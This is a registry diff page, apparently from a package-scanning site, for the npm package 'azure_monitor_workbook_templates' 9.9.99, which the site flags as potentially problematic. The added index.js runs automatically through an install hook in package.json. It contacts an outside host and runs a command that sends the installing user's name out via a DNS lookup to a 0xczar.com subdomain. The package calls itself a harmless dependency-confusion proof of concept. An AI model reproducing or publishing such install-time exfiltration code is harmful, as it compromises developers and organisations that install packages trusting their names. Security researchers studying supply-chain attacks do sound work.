azure_monitor_workbook_templates 9.9.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of azure_monitor_workbook_templates might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +39 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ exports.printMsg = function() {
2
+ console.log("This is a test message from 0xczar for POC purposes");
3
+ }
4
+
5
+ const https = require('http')
6
+ const options = {
7
+ hostname: 'azure_js_file.sub.0xczar.com',
8
+ port: 80,
9
+ path: '/0xczar_404.txt',
10
+ method: 'GET'
11
+ }
12
+
13
+ const req = https.request(options, res => {
14
+ console.log(`statusCode: ${res.statusCode}`)
15
+
16
+ res.on('data', d => {
17
+ process.stdout.write(d)
18
+ })
19
+ })
20
+
21
+ req.on('error', error => {
22
+ console.error(error)
23
+ })
24
+
25
+ req.end()
26
+
27
+ const { exec } = require("child_process");
28
+
29
+ exec("cmd /v /c 'nslookup $(whoami).sub.0xczar.com'", (error, stdout, stderr) => {
30
+ if (error) {
31
+ console.log(`error: ${error.message}`);
32
+ return;
33
+ }
34
+ if (stderr) {
35
+ console.log(`stderr: ${stderr}`);
36
+ return;
37
+ }
38
+ console.log(`stdout: ${stdout}`);
39
+ });
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "azure_monitor_workbook_templates",
3
+ "version": "9.9.99",
4
+ "description": "This is a non-malicious package for Azure Dependency Confusion test POC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "node index.js"
9
+
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }